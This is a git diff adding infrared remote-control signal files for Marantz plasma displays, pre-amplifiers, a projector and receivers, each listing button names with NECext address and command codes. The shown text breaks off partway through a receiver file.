a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir new file mode 100644 index 000000000..38ca22d0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir new file mode 100644 index 000000000..1a7503218 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: RECAL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: INPUT:_RGB_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 21 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 22 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 +# +name: INPUT:_RGB_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: A1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir new file mode 100644 index 000000000..fdd528efa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX1_AMS_./.. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir new file mode 100644 index 000000000..c7eeffe36 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir new file mode 100644 index 000000000..3bc020ba6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir new file mode 100644 index 000000000..3ac19c7ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: DAT/TAPE2_<_> +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 2F 00 00 00 +# +name: DAT/TAPE2_PAUSE_ +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 30 00 00 00 +# +name: DAT/TAPE2_REC +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir new file mode 100644 index 000000000..b7ecbd5f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF/STANDBY2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: V-MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: POWER_ON_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: PIC_MODE_-FREEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: SMOOTH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 61 00 00 00 +# +name: PICTURE_SHIFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 69 00 00 00 +# +name: ASPECT_-ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: ZOOM_(ASPECT) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 +# +name: CENEMA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 +# +name: BACK_LIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 77 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7D 00 00 00 +# +name: ASPECT_-FULL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: ASPECT_-SQUEEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: FULL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: FULL_(ASPECT) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir new file mode 100644 index 000000000..8a84c4028 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: TUNE/SEARCH_FWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: TUNE/SEARCH_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: TV_VOLUME_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TV_VOLUME_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CHUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CH/SKIP_FWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CHAN_/_CAT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CHDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: CH/SKIP_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: CHAN_/_CAT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: INPUT/DISC+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: AMP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir new file mode 100644 index 000000000..2152279cd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: LD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: LASER_DISC +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_LD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: LD_DISC_B/- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 72 00 00 00 +# +name: LD_DISC_+/A +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir new file mode 100644 index 000000000..a63509ab8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir @@ -0,0 +1,716 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: M-POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: SOURCE_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: AUDIO_MUTE_-_ATT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: OSD_INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: 0EN4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: OSD_INFO._DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: AMP_-_OSD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: MAIN_VOL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: MASTER_VOLUME_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: MAIN_VOLUME_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: MAIN_VOL_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: MASTER_VOLUME_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: MAIN_VOLUME_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: BASS_++ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: BASS-- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: BASS_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: BASS- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREB_++ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREB_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREBLE- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREBLE+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: TREB-- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: TREB_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: TREBLE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: TREBLE+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: TREBLE- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: BAL_> +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: DC_TRIGGER-1_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: BAL_< +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: SPEAKER_SEL. +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: SPKR_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: SPKR_A/B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: SPKR_A_/_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: SPEAKER_A-B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: SOURCE_DIRECT_-_PURE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: PURE_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: P._DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: MODE_-_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: S-DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: SPEAKER_A_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: SPEAKER-A_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: SORROUND_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: MODE_-_SURROUND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 +# +name: SPEAKER_B_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: SPEAKER-B_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: SELECT_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: SELECT_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: CURSOR- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: OK/OSD_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: OSD_MENU_ON/OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: ARROW_ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: AMP_-_ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: AMP_-_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_-_OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: EXIT_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: AMP_-_MENU_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: SELECT_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: SELECT_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: ENTER_(OK) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir new file mode 100644 index 000000000..023f5c00b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir @@ -0,0 +1,1130 @@ +Filetype: IR signals file +Version: 1 +# +name: (TUNER-1)_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: TUNER1-0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: [TUNER-1]_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 0_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: TUNER_-_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: (TUNER-1)_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: TUNER1-1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: [TUNER-1]_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 1_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: TUNER_-_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: (TUNER-1)_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: TUNER1-2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: [TUNER-1]_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 2TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: TUNER_-_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: (TUNER-1)_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: TUNER1-3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: [TUNER-1]_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 3_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: TUNER_-_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: (TUNER-1)_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: TUNER1-4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: [TUNER-1]_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 